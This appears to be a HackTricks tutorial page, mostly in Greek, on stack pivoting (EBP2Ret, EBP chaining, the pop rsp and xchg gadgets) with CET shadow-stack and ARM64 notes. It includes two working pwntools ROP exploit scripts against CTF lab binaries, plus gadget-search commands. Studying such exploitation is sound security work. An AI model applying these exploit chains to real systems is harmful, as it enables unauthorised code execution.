hacktricks/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

290 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών **`leave; ret`**.
Ως υπενθύμιση, στο x86/x86-64 **`leave`** είναι ισοδύναμο με:
```
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
Και καθώς το αποθηκευμένο **EBP/RBP είναι στη στοίβα** πριν από το αποθηκευμένο EIP/RIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα.
> Σημειώσεις
> - Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι η ίδια.
> - Ορισμένοι μεταγλωττιστές παραλείπουν τον δείκτη πλαισίου (βλ. “EBP might not be used”). Σε αυτή την περίπτωση, το `leave` μπορεί να μην εμφανίζεται και αυτή η τεχνική δεν θα λειτουργήσει.
### EBP2Ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP**. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης.
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που αποθηκεύεται από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση.
Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που αποθηκεύεται σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`.
#### Κατασκευή Εκμετάλλευσης
Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα/διευθύνσεις**. Το RSP θα δείχνει εδώ και **θα καταναλώσει το πρώτο `ret`**.
Στη συνέχεια, πρέπει να επιλέξετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **μεταφέρει την εκτέλεση**. Μπορείτε να χρησιμοποιήσετε:
- Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση.
- Τη διεύθυνση του **`system()`** ακολουθούμενη από την κατάλληλη επιστροφή και τα επιχειρήματα (σε x86: `ret` στόχος = `&system`, στη συνέχεια 4 άχρηστα bytes, στη συνέχεια `&"/bin/sh"`).
- Τη διεύθυνση ενός **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από inline shellcode.
- Μια [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα τοποθετημένη σε εγγράψιμη μνήμη.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή, πρέπει να υπάρχει **χώρος για το `pop ebp/rbp`** από το `leave` (8B σε amd64, 4B σε x86). Μπορείτε να εκμεταλλευτείτε αυτά τα bytes για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να διατηρήσετε τον έλεγχο μετά την επιστροφή της πρώτης κλήσης.
#### Εκμετάλλευση Off-By-One
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να μεταπηδήσει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.
Είναι επίσης κοινό να χρησιμοποιείται μια RET sled στη στοίβα και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο RSP δείχνει μέσα στη sled και η τελική ROP αλυσίδα εκτελείται.
### EBP Chaining
Τοποθετώντας μια ελεγχόμενη διεύθυνση στη θέση του αποθηκευμένου `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**.
Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη μνήμη που ελέγχετε κάτι όπως:
- `&(next fake EBP)` -> Φορτωμένο από `pop ebp/rbp` από το `leave`.
- `&system()` -> Καλείται από το `ret`.
- `&(leave;ret)` -> Μετά την ολοκλήρωση του `system`, μετακινεί το RSP στο επόμενο ψεύτικο EBP και συνεχίζει.
- `&("/bin/sh")` -> Επιχείρημα για το `system`.
Με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε ακραίες περιπτώσεις.
Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
> amd64 alignment tip: Το System V ABI απαιτεί ευθυγράμμιση 16-byte στο stack στα σημεία κλήσης. Αν η αλυσίδα σας καλεί συναρτήσεις όπως `system`, προσθέστε ένα gadget ευθυγράμμισης (π.χ., `ret`, ή `sub rsp, 8 ; ret`) πριν από την κλήση για να διατηρήσετε την ευθυγράμμιση και να αποφύγετε τις καταρρεύσεις `movaps`.
## EBP μπορεί να μην χρησιμοποιείται
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις ή με παράλειψη του frame-pointer, το **EBP/RBP ποτέ δεν ελέγχει το ESP/RSP**. Επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή ο πρόλογος/επίλογος δεν αποκαθιστά από τον δείκτη πλαισίου.
- Όχι βελτιστοποιημένο / χρησιμοποιείται δείκτης πλαισίου:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- Βελτιστοποιημένο / δείκτης πλαισίου παραλειπόμενος:
```bash
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
```
On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραλειφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot.
## Άλλοι τρόποι ελέγχου του RSP
### `pop rsp` gadget
[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
### jmp esp
Δείτε την τεχνική ret2esp εδώ:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
### Γρήγορη εύρεση gadgets pivot
Χρησιμοποιήστε τον αγαπημένο σας ανιχνευτή gadgets για να αναζητήσετε κλασικές πρωτογενείς pivot:
- `leave ; ret` σε συναρτήσεις ή σε βιβλιοθήκες
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret``add esp, <imm> ; ret` σε x86)
Παραδείγματα:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### Κλασικό μοτίβο σταδιοδρομίας pivot
Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits:
1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγγράψιμη περιοχή (π.χ., `.bss`, heap ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP.
2) Επιστρέψτε σε ένα gadget pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) για να μετακινήσετε το RSP σε αυτήν την περιοχή.
3) Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε `mprotect`, στη συνέχεια `read` shellcode, στη συνέχεια πηδήξτε σε αυτό).
## Σύγχρονες μετρήσεις που σπάνε το stack pivoting (CET/Shadow Stack)
Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το **CET Shadow Stack (SHSTK)**. Με το SHSTK ενεργοποιημένο, το `ret` συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο `ret` από μια pivoted stack.
- Για υπόβαθρο και πιο λεπτομερείς πληροφορίες δείτε:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Γρήγοροι έλεγχοι σε Linux:
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- Σημειώσεις για εργαστήρια/CTF:
- Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετρήσεις σε παραγωγικούς στόχους.
- Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους `ret`-βασισμένους άξονες.
- Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
## ARM64
Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το καταχωρητή SP** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύει το SP, αλλά **στη διεύθυνση μέσα στο `x30`**.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε τον καταχωρητή SP** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε τον καταχωρητή `x30`**.
- πρόλογος
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
```
- επίλογος
```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```
> [!CAUTION]
> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιον καταχωρητή του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε τον καταχωρητή **`x30`** από έναν **ελεγχόμενο `SP`** και να **`RET`** σε αυτόν.
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## Αναφορές
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και τελικά καλείται περιστρέφοντας με RBP.
- Τεκμηρίωση πυρήνα Linux: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες σχετικά με το SHSTK, `nousershstk`, `/proc/$PID/status` flags, και ενεργοποίηση μέσω `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}